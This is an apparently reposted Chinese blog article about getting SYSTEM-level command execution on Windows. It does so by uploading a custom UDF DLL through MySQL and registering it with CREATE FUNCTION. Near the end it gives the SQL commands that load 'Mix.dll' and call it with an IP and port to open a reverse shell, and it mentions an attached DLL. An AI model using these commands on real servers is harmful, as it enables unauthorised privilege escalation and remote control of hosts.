mysql system命令_Windows环境下通过MySQL以SYSTEM身份执行系统命令 | 学步园

前段时间出了两个关于MySQL的漏洞《MySQL CREATE FUNCTION功能mysql.func表允许注入任意函数库漏洞》、《MySQL CREATE FUNCTION功能libc函数库允许执行任意代码漏洞》,仔细研究这两个漏洞后,可以得知MySQL的两大功能:

2第一:可以通过MySQL上传二进制文件,例如自己编写的UDF DLL;

2第二:可以通过注册UDF DLL中自写的Function而执行任意命令。

野史

通过注册UDF DLL中自写的Function执行任意命令,这个技术是很早就有人知道,但是没有完全公开,作为后门的一种方法只在私下传播的(PS:同样希望没有太多的西红柿和鸡蛋,呵呵)。

笔者在去年2004年09月份写那个MySQL注射工具phprf的时候花了大半天的工夫已经把通过上传二进制文件的方法找到了,和漏洞公告中提到的方法有点如出一辙的感觉,而通过自写的UDF DLL执行任意命令这件事情却是最近才知道。漏洞公告出来以后,花了2、3个小时找了找UDF DLL的资料自己写了个DLL、再测试了一下,没有什么技术难点。另外,由于MySQL在Windows平台下都是以系统服务的形式启动的,而且很少有人修改其启动帐 ,结合MySQL的这两大功能就能够利用MySQL以SYSTEM身份执行系统命令了。

上传二进制文件

下面通过两个表格来说明漏洞公告中的上传方法和笔者自己研究的上传方法。

表1 漏洞公告的上传方法

20071204053350.bmp

表2 笔者的上传方法

两个表格中的二进制数据就是自己编写的那个UDF DLL的二进制数据。

漏洞公告中的上传方法是需要在PHP程序中实现的,手工使用MySQL客户端登陆则无法实现,而笔者的上传方法可以通过MySQL客户端登陆手工实现,谁优谁劣就不用讨论了,两个方法综合一下效果更好。

注册Function执行命令

想要自己编写UDF DLL的同志们,最简单的方法是下载MySQL的源代码,里面有个udf_example,下面笔者只做一些简单介绍了:

extern “C” {…}//定义Function的函数,一个规范的Function至少有三个函数

Mix()//必需的主函数,用于处理该Function的事务流,反连的代码就写在这个里面

Mix_init()//可选,初始化函数,一般用作检查用户输入的参数

Mix_deinit()//可选,当Function退出时做后期处理

附件中带了一个笔者的DLL,操作后可以反连回来一个Shell。在MySQL客户端中需要执行的命令是:

CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C://Winnt//Mix.dll’;/*注意修改文件地址

select Mixconnect(‘127.0.0.1′,’886’);/*注意修改反连回来的IP地址和端口

附件

该DLL中的反连Shell部分使用的公开源代码改编而成,所以如果被杀毒软件查杀请不必怀疑。该DLL仅供测试,测试造成的后果笔者和幻影旅团概不负责!

文章知识点与官方知识档案匹配,可进一步学习相关知识MySQL入门技能树首页概览32256 人正在系统学习中 相关资源:蓦然记忆助手2.0触屏加强版-管理软件工具类资源-CSDN文库

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2021年1月17日
下一篇 2021年1月17日

相关推荐